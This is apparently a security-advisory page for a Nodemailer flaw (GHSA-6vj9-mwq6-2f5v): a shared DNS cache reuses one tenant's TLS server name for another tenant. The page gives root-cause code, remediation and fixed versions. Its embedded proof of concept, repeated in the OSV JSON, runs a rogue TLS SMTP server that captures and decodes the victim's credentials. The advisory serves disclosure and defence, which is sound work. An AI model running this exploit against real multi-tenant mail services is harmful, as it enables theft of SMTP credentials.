GHSA-6vj9-mwq6-2f5v: Nodemailer Process-global DNS Cache Reuses TLS Vulnerability

MODERATE
CVSS 5.9
CWE-295
Published
Advisory Summary

GHSA-6vj9-mwq6-2f5v is a MODERATE (CVSS 5.9) process-global dns cache reuses tls vulnerability (CWE-295: Improper Certificate Validation) affecting Nodemailer libraries in the npm ecosystem. The issue involves process-global dns cache reuses tls `servername` across transports, enabling cross-tenant smtp credential disclosure. Remediation is available by upgrading affected packages to version 10.0.2.

GHSA-6vj9-mwq6-2f5v at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-6vj9-mwq6-2f5v
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-295: Improper Certificate Validation
Affected Product Nodemailer
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-6vj9-mwq6-2f5v

To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nodemailer fixed: 10.0.2
npm install nodemailer@10.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls nodemailer

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-6vj9-mwq6-2f5v, inspect your project dependencies using npm:

npm ls nodemailer

Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.0.2), your application is affected.

Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-295: Improper Certificate Validation, where the product does not validate, or incorrectly validates, a certificate. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Nodemailer's process-global DNS cache is keyed only by `host`, but each cache entry also stores the caller-specific TLS `servername`. When two direct SMTPS transports use the same DNS host with different `tls.servername` values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value. As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with `rejectUnauthorized: true`, and sends the victim's SMTP credentials to it. ## Affected component - **Ecosystem:** npm - **Package:** `nodemailer` - **Repository:** https://github.com/nodemailer/nodemailer - **Tested version:** `10.0.1` - **Tested commit:** `40d52215aac65b811d7e131bc916f68605efd9d2` - **Runtime-confirmed vulnerable versions:** `5.0.0` and `10.0.1` - **Affected versions:** `>= 5.0.0, <= 10.0.1` - **Patched versions:** None known at the time of this report - **Affected mode:** Direct TLS/SMTPS connections (`secure: true`) where different transports use the same non-IP `host` and different TLS `servername` values The vulnerable cache implementation was introduced in commit `6859b5dd96c8d9f0070a3169a877181b71df4a3b` on 2018-12-28. Git history shows `v5.0.0` as the first release tag containing that commit. The behavior remains present in `v10.0.1`. ## Details ### Root cause `src/shared/index.ts` defines one module-global DNS cache, keyed only by the DNS host: ```ts export const dnsCache = new Map<string, DnsCacheEntry>(); ``` Although the cache key contains only `host`, the cached value contains both DNS addresses and the request-specific TLS identity: ```ts const value: DnsCacheValue = { addresses: allAddresses, servername: options.servername || host }; dnsCache.set(host, { value, expires: Date.now() + (options.dnsTtl || DNS_TTL) }); ``` On a cache hit, `resolveHostname()` returns the cached `servername` without considering the current call's `options.servername`: ```ts if (!cached.expires || cached.expires >= now) { return callback( null, formatDNSValue(cached.value, { cached: true }) ); } ``` `formatDNSValue()` copies that stale value into the result: ```ts return Object.assign( { servername: value.servername, host, _addresses: addresses }, extra || {} ); ``` For a direct TLS connection, `SMTPConnection.connect()` initially copies the current transport's TLS configuration into `opts`. `_resolveAndConnect()` then overwrites every truthy field with the cached resolver result, including `opts.servername`: ```ts Object.assign(opts, this.options.tls || {}); if (this.servername && !opts.servername) { opts.servername = this.servername; } return this._resolveAndConnect(opts, resolved => { this._connectToHost(opts, this.secureConnection); }); ``` ```ts for (const key of Object.keys(resolved!)) { if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) { (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key]; } } ``` The resulting `opts` object is passed to `tls.connect()`. Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport. The default DNS cache TTL is five minutes: ```ts const DNS_TTL = 5 * 60 * 1000; ``` ### Code path ```text Tenant A: createTransport({ host: H, secure: true, tls: { servername: attackerName } }) -> SMTPConnection.connect() -> _resolveAndConnect(opts) -> shared.resolveHostname({ host: H, servername: attackerName }) -> dnsCache.set(H, { addresses, servername: attackerName }) Victim: createTransport({ host: H, secure: true, tls: { servername: victimName } }) -> SMTPConnection.connect() -> opts.servername = victimName -> _resolveAndConnect(opts) -> shared.resolveHostname({ host: H, servername: victimName }) -> dnsCache.get(H) -> returns cached servername = attackerName -> _resolveAndConnect overwrites opts.servername -> tls.connect({ servername: attackerName }) -> attacker SNI virtual host and certificate are selected -> AUTH transmits victim SMTP credentials ``` ### Relevant source locations in the tested revision - `src/shared/index.ts:184` — five-minute default cache TTL - `src/shared/index.ts:245` — process-global cache keyed by host - `src/shared/index.ts:247-262` — cached `servername` returned by `formatDNSValue()` - `src/shared/index.ts:292-323` — host-only lookup and cache-hit return - `src/shared/index.ts:350-359` — caller-specific `servername` stored in host-only cache - `src/smtp-connection/index.ts:713-729` — direct TLS options and resolver call - `src/smtp-connection/index.ts:741-763` — cached fields overwrite current connection options ## PoC ### Prerequisites - Node.js 20 (tested with Node.js `20.20.2`) - A checkout/build of Nodemailer `10.0.1` - OpenSSL to generate the local test certificate No external SMTP server or network access is required. ### 1. Generate a certificate for only `attacker.test` Create `openssl.cnf`: ```ini [req] distinguished_name = dn x509_extensions = ext prompt = no [dn] CN = attacker.test [ext] subjectAltName = DNS:attacker.test basicConstraints = critical,CA:TRUE keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign extendedKeyUsage = serverAuth ``` Generate the certificate and private key: ```bash openssl req -x509 -newkey rsa:2048 -nodes -days 1 \ -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf ``` ### 2. Save the following as `poc-dns-cache-servername-confusion.mjs` Adjust the two import paths if the PoC is not saved beside the repository checkout. ```js import fs from 'node:fs'; import tls from 'node:tls'; import nodemailer from '../../nodemailer/dist/esm/nodemailer.js'; import * as shared from '../../nodemailer/dist/esm/shared/index.js'; const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url)); const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url)); const observedSni = []; const observedAuth = []; const server = tls.createServer({ key, cert }, socket => { observedSni.push(socket.servername); socket.write('220 attacker.test ESMTP\r\n'); let input = ''; socket.on('data', chunk => { input += chunk.toString(); let end; while ((end = input.indexOf('\r\n')) >= 0) { const line = input.slice(0, end); input = input.slice(end + 2); if (/^EHLO /i.test(line)) { socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n'); } else if (/^AUTH /i.test(line)) { observedAuth.push(line); socket.write('235 2.7.0 Authentication successful\r\n'); } else if (/^QUIT/i.test(line)) { socket.end('221 Bye\r\n'); } else { socket.write('250 OK\r\n'); } } }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); try { shared.dnsCache.clear(); // Tenant A seeds the process-global cache for the shared DNS host. const attackerTransport = nodemailer.createTransport({ host: 'localhost', port: server.address().port, secure: true, auth: { user: 'attacker@example.test', pass: 'attacker-secret' }, tls: { ca: cert, servername: 'attacker.test', rejectUnauthorized: true } }); await attackerTransport.verify(); attackerTransport.close(); // The victim explicitly configures a different TLS identity. const victimTransport = nodemailer.createTransport({ host: 'localhost', port: server.address().port, secure: true, auth: { user: 'victim@example.test', pass: 'victim-secret' }, tls: { ca: cert, servername: 'victim.test', rejectUnauthorized: true } }); await victimTransport.verify(); victimTransport.close(); const decoded = observedAuth.map(line => line.startsWith('AUTH PLAIN ') ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString() : null ); console.log(JSON.stringify({ attackerConfiguredServername: 'attacker.test', victimConfiguredServername: 'victim.test', serverObservedSniForBothConnections: observedSni, serverReceivedCredentials: decoded }, null, 2)); } finally { shared.dnsCache.clear(); await new Promise(resolve => server.close(resolve)); } ``` ### 3. Build and run From the Nodemailer checkout: ```bash npm install npm run build node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs ``` ### Observed result ```json { "attackerConfiguredServername": "attacker.test", "victimConfiguredServername": "victim.test", "serverObservedSniForBothConnections": [ "attacker.test", "attacker.test" ], "serverReceivedCredentials": [ "\\u0000attacker@example.test\\u0000attacker-secret", "\\u0000victim@example.test\\u0000victim-secret" ] } ``` The victim configured `victim.test`, but the server observes `attacker.test` for both handshakes. The local certificate contains only `attacker.test`, yet the victim connection succeeds with `rejectUnauthorized: true` and then sends the victim's username and password. ### Expected result The second connection must use `victim.test` for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as `attacker.test`. ## Impact The vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS `host`. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname. An attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's `tls.servername`. During the cache lifetime, a victim's direct SMTPS connection to that host can: 1. send the attacker's server name as SNI; 2. be routed to the attacker's TLS virtual host; 3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and 4. transmit the victim's SMTP username and password to that endpoint. Possession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider. Where the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact. ### Preconditions and limitations - Two transports must execute in the same Node.js process within the cache lifetime. - They must use the same non-IP `host` cache key and different `tls.servername` values. - Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name. - The demonstrated path uses direct SMTPS (`secure: true`). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report. ## Suggested remediation The DNS cache should store DNS data only. `servername` is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname. One approach is to remove `servername` from `DnsCacheValue` and derive the returned value from the current request on every path: ```ts return { host: selectedAddress, servername: options.servername || options.host || false, _addresses: addresses, cached: true }; ``` As defense in depth, `_resolveAndConnect()` should not overwrite an explicitly configured `opts.servername` with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation. A regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.

GHSA-6vj9-mwq6-2f5v Affected Nodemailer Versions

1 component(s)
Fixed Versions:
10.0.2
Product / Package Ecosystem Affected Versions Fixed Version
nodemailer
npm
≥ 5.0.0
< 10.0.2
10.0.2

References

Frequently Asked Questions

What is GHSA-6vj9-mwq6-2f5v?
GHSA-6vj9-mwq6-2f5v is a security vulnerability in Nodemailer involving Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure under CWE-295: Improper Certificate Validation.
Which Nodemailer versions are affected?
Affected versions include releases prior to 10.0.2 across affected packages: nodemailer.
What version fixes GHSA-6vj9-mwq6-2f5v?
Upgrading to 10.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nodemailer affected?
Yes, nodemailer is affected in releases prior to 10.0.2. Upgrade your dependency to 10.0.2 or later.
What is the CVSS score of GHSA-6vj9-mwq6-2f5v?
GHSA-6vj9-mwq6-2f5v has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with GHSA-6vj9-mwq6-2f5v?
GHSA-6vj9-mwq6-2f5v is classified under CWE-295: Improper Certificate Validation (The product does not validate, or incorrectly validates, a certificate.).
How can I check npm dependencies for GHSA-6vj9-mwq6-2f5v?
Run the dependency tree command: 'npm ls nodemailer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6vj9-mwq6-2f5v",
  "modified" : "2026-09-28T21:56:06Z",
  "published" : "2026-09-28T21:56:05Z",
  "aliases" : [ ],
  "summary" : "Nodemailer: Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure",
  "details" : "### Summary\n\nNodemailer's process-global DNS cache is keyed only by `host`, but each cache entry also stores the caller-specific TLS `servername`. When two direct SMTPS transports use the same DNS host with different `tls.servername` values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.\n\nAs a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with `rejectUnauthorized: true`, and sends the victim's SMTP credentials to it.\n\n## Affected component\n\n- **Ecosystem:** npm\n- **Package:** `nodemailer`\n- **Repository:** https://github.com/nodemailer/nodemailer\n- **Tested version:** `10.0.1`\n- **Tested commit:** `40d52215aac65b811d7e131bc916f68605efd9d2`\n- **Runtime-confirmed vulnerable versions:** `5.0.0` and `10.0.1`\n- **Affected versions:** `>= 5.0.0, <= 10.0.1`\n- **Patched versions:** None known at the time of this report\n- **Affected mode:** Direct TLS/SMTPS connections (`secure: true`) where different transports use the same non-IP `host` and different TLS `servername` values\n\nThe vulnerable cache implementation was introduced in commit `6859b5dd96c8d9f0070a3169a877181b71df4a3b` on 2018-12-28. Git history shows `v5.0.0` as the first release tag containing that commit. The behavior remains present in `v10.0.1`.\n\n## Details\n\n### Root cause\n\n`src/shared/index.ts` defines one module-global DNS cache, keyed only by the DNS host:\n\n```ts\nexport const dnsCache = new Map<string, DnsCacheEntry>();\n```\n\nAlthough the cache key contains only `host`, the cached value contains both DNS addresses and the request-specific TLS identity:\n\n```ts\nconst value: DnsCacheValue = {\n    addresses: allAddresses,\n    servername: options.servername || host\n};\n\ndnsCache.set(host, {\n    value,\n    expires: Date.now() + (options.dnsTtl || DNS_TTL)\n});\n```\n\nOn a cache hit, `resolveHostname()` returns the cached `servername` without considering the current call's `options.servername`:\n\n```ts\nif (!cached.expires || cached.expires >= now) {\n    return callback(\n        null,\n        formatDNSValue(cached.value, {\n            cached: true\n        })\n    );\n}\n```\n\n`formatDNSValue()` copies that stale value into the result:\n\n```ts\nreturn Object.assign(\n    {\n        servername: value.servername,\n        host,\n        _addresses: addresses\n    },\n    extra || {}\n);\n```\n\nFor a direct TLS connection, `SMTPConnection.connect()` initially copies the current transport's TLS configuration into `opts`. `_resolveAndConnect()` then overwrites every truthy field with the cached resolver result, including `opts.servername`:\n\n```ts\nObject.assign(opts, this.options.tls || {});\n\nif (this.servername && !opts.servername) {\n    opts.servername = this.servername;\n}\n\nreturn this._resolveAndConnect(opts, resolved => {\n    this._connectToHost(opts, this.secureConnection);\n});\n```\n\n```ts\nfor (const key of Object.keys(resolved!)) {\n    if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) {\n        (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];\n    }\n}\n```\n\nThe resulting `opts` object is passed to `tls.connect()`. Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.\n\nThe default DNS cache TTL is five minutes:\n\n```ts\nconst DNS_TTL = 5 * 60 * 1000;\n```\n\n### Code path\n\n```text\nTenant A: createTransport({ host: H, secure: true,\n                            tls: { servername: attackerName } })\n  -> SMTPConnection.connect()\n  -> _resolveAndConnect(opts)\n  -> shared.resolveHostname({ host: H, servername: attackerName })\n  -> dnsCache.set(H, { addresses, servername: attackerName })\n\nVictim: createTransport({ host: H, secure: true,\n                          tls: { servername: victimName } })\n  -> SMTPConnection.connect()\n  -> opts.servername = victimName\n  -> _resolveAndConnect(opts)\n  -> shared.resolveHostname({ host: H, servername: victimName })\n  -> dnsCache.get(H)\n  -> returns cached servername = attackerName\n  -> _resolveAndConnect overwrites opts.servername\n  -> tls.connect({ servername: attackerName })\n  -> attacker SNI virtual host and certificate are selected\n  -> AUTH transmits victim SMTP credentials\n```\n\n### Relevant source locations in the tested revision\n\n- `src/shared/index.ts:184` — five-minute default cache TTL\n- `src/shared/index.ts:245` — process-global cache keyed by host\n- `src/shared/index.ts:247-262` — cached `servername` returned by `formatDNSValue()`\n- `src/shared/index.ts:292-323` — host-only lookup and cache-hit return\n- `src/shared/index.ts:350-359` — caller-specific `servername` stored in host-only cache\n- `src/smtp-connection/index.ts:713-729` — direct TLS options and resolver call\n- `src/smtp-connection/index.ts:741-763` — cached fields overwrite current connection options\n\n## PoC\n\n### Prerequisites\n\n- Node.js 20 (tested with Node.js `20.20.2`)\n- A checkout/build of Nodemailer `10.0.1`\n- OpenSSL to generate the local test certificate\n\nNo external SMTP server or network access is required.\n\n### 1. Generate a certificate for only `attacker.test`\n\nCreate `openssl.cnf`:\n\n```ini\n[req]\ndistinguished_name = dn\nx509_extensions = ext\nprompt = no\n\n[dn]\nCN = attacker.test\n\n[ext]\nsubjectAltName = DNS:attacker.test\nbasicConstraints = critical,CA:TRUE\nkeyUsage = critical,digitalSignature,keyEncipherment,keyCertSign\nextendedKeyUsage = serverAuth\n```\n\nGenerate the certificate and private key:\n\n```bash\nopenssl req -x509 -newkey rsa:2048 -nodes -days 1 \\\n  -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf\n```\n\n### 2. Save the following as `poc-dns-cache-servername-confusion.mjs`\n\nAdjust the two import paths if the PoC is not saved beside the repository checkout.\n\n```js\nimport fs from 'node:fs';\nimport tls from 'node:tls';\nimport nodemailer from '../../nodemailer/dist/esm/nodemailer.js';\nimport * as shared from '../../nodemailer/dist/esm/shared/index.js';\n\nconst cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));\nconst key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));\nconst observedSni = [];\nconst observedAuth = [];\n\nconst server = tls.createServer({ key, cert }, socket => {\n    observedSni.push(socket.servername);\n    socket.write('220 attacker.test ESMTP\\r\\n');\n    let input = '';\n    socket.on('data', chunk => {\n        input += chunk.toString();\n        let end;\n        while ((end = input.indexOf('\\r\\n')) >= 0) {\n            const line = input.slice(0, end);\n            input = input.slice(end + 2);\n            if (/^EHLO /i.test(line)) {\n                socket.write('250-attacker.test\\r\\n250 AUTH PLAIN\\r\\n');\n            } else if (/^AUTH /i.test(line)) {\n                observedAuth.push(line);\n                socket.write('235 2.7.0 Authentication successful\\r\\n');\n            } else if (/^QUIT/i.test(line)) {\n                socket.end('221 Bye\\r\\n');\n            } else {\n                socket.write('250 OK\\r\\n');\n            }\n        }\n    });\n});\n\nawait new Promise(resolve => server.listen(0, '127.0.0.1', resolve));\n\ntry {\n    shared.dnsCache.clear();\n\n    // Tenant A seeds the process-global cache for the shared DNS host.\n    const attackerTransport = nodemailer.createTransport({\n        host: 'localhost',\n        port: server.address().port,\n        secure: true,\n        auth: { user: 'attacker@example.test', pass: 'attacker-secret' },\n        tls: {\n            ca: cert,\n            servername: 'attacker.test',\n            rejectUnauthorized: true\n        }\n    });\n    await attackerTransport.verify();\n    attackerTransport.close();\n\n    // The victim explicitly configures a different TLS identity.\n    const victimTransport = nodemailer.createTransport({\n        host: 'localhost',\n        port: server.address().port,\n        secure: true,\n        auth: { user: 'victim@example.test', pass: 'victim-secret' },\n        tls: {\n            ca: cert,\n            servername: 'victim.test',\n            rejectUnauthorized: true\n        }\n    });\n    await victimTransport.verify();\n    victimTransport.close();\n\n    const decoded = observedAuth.map(line =>\n        line.startsWith('AUTH PLAIN ')\n            ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString()\n            : null\n    );\n\n    console.log(JSON.stringify({\n        attackerConfiguredServername: 'attacker.test',\n        victimConfiguredServername: 'victim.test',\n        serverObservedSniForBothConnections: observedSni,\n        serverReceivedCredentials: decoded\n    }, null, 2));\n} finally {\n    shared.dnsCache.clear();\n    await new Promise(resolve => server.close(resolve));\n}\n```\n\n### 3. Build and run\n\nFrom the Nodemailer checkout:\n\n```bash\nnpm install\nnpm run build\nnode ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs\n```\n\n### Observed result\n\n```json\n{\n  \"attackerConfiguredServername\": \"attacker.test\",\n  \"victimConfiguredServername\": \"victim.test\",\n  \"serverObservedSniForBothConnections\": [\n    \"attacker.test\",\n    \"attacker.test\"\n  ],\n  \"serverReceivedCredentials\": [\n    \"\\\\u0000attacker@example.test\\\\u0000attacker-secret\",\n    \"\\\\u0000victim@example.test\\\\u0000victim-secret\"\n  ]\n}\n```\n\nThe victim configured `victim.test`, but the server observes `attacker.test` for both handshakes. The local certificate contains only `attacker.test`, yet the victim connection succeeds with `rejectUnauthorized: true` and then sends the victim's username and password.\n\n### Expected result\n\nThe second connection must use `victim.test` for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as `attacker.test`.\n\n## Impact\n\nThe vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS `host`. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.\n\nAn attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's `tls.servername`. During the cache lifetime, a victim's direct SMTPS connection to that host can:\n\n1. send the attacker's server name as SNI;\n2. be routed to the attacker's TLS virtual host;\n3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and\n4. transmit the victim's SMTP username and password to that endpoint.\n\nPossession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.\n\nWhere the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.\n\n### Preconditions and limitations\n\n- Two transports must execute in the same Node.js process within the cache lifetime.\n- They must use the same non-IP `host` cache key and different `tls.servername` values.\n- Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name.\n- The demonstrated path uses direct SMTPS (`secure: true`). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.\n\n## Suggested remediation\n\nThe DNS cache should store DNS data only. `servername` is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.\n\nOne approach is to remove `servername` from `DnsCacheValue` and derive the returned value from the current request on every path:\n\n```ts\nreturn {\n    host: selectedAddress,\n    servername: options.servername || options.host || false,\n    _addresses: addresses,\n    cached: true\n};\n```\n\nAs defense in depth, `_resolveAndConnect()` should not overwrite an explicitly configured `opts.servername` with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.\n\nA regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nodemailer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "10.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-6vj9-mwq6-2f5v"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/a6512dbcb3c6e7f2f70d3acccc5752defe3c61fe"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodemailer/nodemailer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-295" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-28T21:56:05Z",
    "nvd_published_at" : null
  }
}